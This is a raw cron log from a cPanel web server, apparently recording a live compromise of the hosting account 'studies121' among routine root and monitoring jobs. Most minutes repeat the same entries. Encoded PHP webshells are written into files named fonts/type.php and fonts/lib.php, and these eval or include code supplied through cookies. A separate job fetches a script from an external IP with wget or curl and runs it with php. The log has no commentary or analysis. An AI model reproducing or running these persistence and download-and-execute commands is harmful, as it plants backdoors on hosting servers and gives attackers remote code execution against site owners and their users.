Sep 20 10:04:01 ip-184-168-122-23 CROND[15945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:04:01 ip-184-168-122-23 CROND[15946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:05:01 ip-184-168-122-23 CROND[16184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:05:01 ip-184-168-122-23 CROND[16186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:05:01 ip-184-168-122-23 CROND[16187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:05:01 ip-184-168-122-23 CROND[16188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:05:01 ip-184-168-122-23 CROND[16189]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 10:05:01 ip-184-168-122-23 CROND[16191]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:05:01 ip-184-168-122-23 CROND[16192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:06:01 ip-184-168-122-23 CROND[16447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:06:01 ip-184-168-122-23 CROND[16451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:06:01 ip-184-168-122-23 CROND[16450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:06:01 ip-184-168-122-23 CROND[16452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:06:01 ip-184-168-122-23 CROND[16449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:07:01 ip-184-168-122-23 CROND[16792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:07:01 ip-184-168-122-23 CROND[16791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:07:01 ip-184-168-122-23 CROND[16795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:07:01 ip-184-168-122-23 CROND[16800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:08:01 ip-184-168-122-23 CROND[17022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:08:01 ip-184-168-122-23 CROND[17024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:08:01 ip-184-168-122-23 CROND[17023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:08:01 ip-184-168-122-23 CROND[17025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:08:01 ip-184-168-122-23 CROND[17027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:09:01 ip-184-168-122-23 CROND[17253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:09:01 ip-184-168-122-23 CROND[17252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:09:01 ip-184-168-122-23 CROND[17255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:09:01 ip-184-168-122-23 CROND[17260]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 10:09:01 ip-184-168-122-23 CROND[17261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:10:01 ip-184-168-122-23 CROND[17567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:10:01 ip-184-168-122-23 CROND[17570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:10:01 ip-184-168-122-23 CROND[17569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:10:01 ip-184-168-122-23 CROND[17574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:10:01 ip-184-168-122-23 CROND[17571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 10:10:01 ip-184-168-122-23 CROND[17572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:10:01 ip-184-168-122-23 CROND[17573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:10:01 ip-184-168-122-23 CROND[17575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:11:01 ip-184-168-122-23 CROND[17889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:11:01 ip-184-168-122-23 CROND[17891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:11:01 ip-184-168-122-23 CROND[17892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:11:01 ip-184-168-122-23 CROND[17893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:12:01 ip-184-168-122-23 CROND[18161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:12:01 ip-184-168-122-23 CROND[18163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:12:01 ip-184-168-122-23 CROND[18165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:12:01 ip-184-168-122-23 CROND[18166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:12:01 ip-184-168-122-23 CROND[18164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:13:02 ip-184-168-122-23 CROND[18483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:13:02 ip-184-168-122-23 CROND[18482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:13:02 ip-184-168-122-23 CROND[18481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:13:02 ip-184-168-122-23 CROND[18484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:14:01 ip-184-168-122-23 CROND[18721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:14:01 ip-184-168-122-23 CROND[18724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:14:01 ip-184-168-122-23 CROND[18725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:14:01 ip-184-168-122-23 CROND[18723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:14:01 ip-184-168-122-23 CROND[18726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:15:01 ip-184-168-122-23 CROND[18960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:15:01 ip-184-168-122-23 CROND[18965]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 10:15:01 ip-184-168-122-23 CROND[18964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:15:01 ip-184-168-122-23 CROND[18966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:15:01 ip-184-168-122-23 CROND[18962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:15:01 ip-184-168-122-23 CROND[18963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:15:01 ip-184-168-122-23 CROND[18967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:16:02 ip-184-168-122-23 CROND[19248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:16:02 ip-184-168-122-23 CROND[19250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:16:02 ip-184-168-122-23 CROND[19251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:16:02 ip-184-168-122-23 CROND[19252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
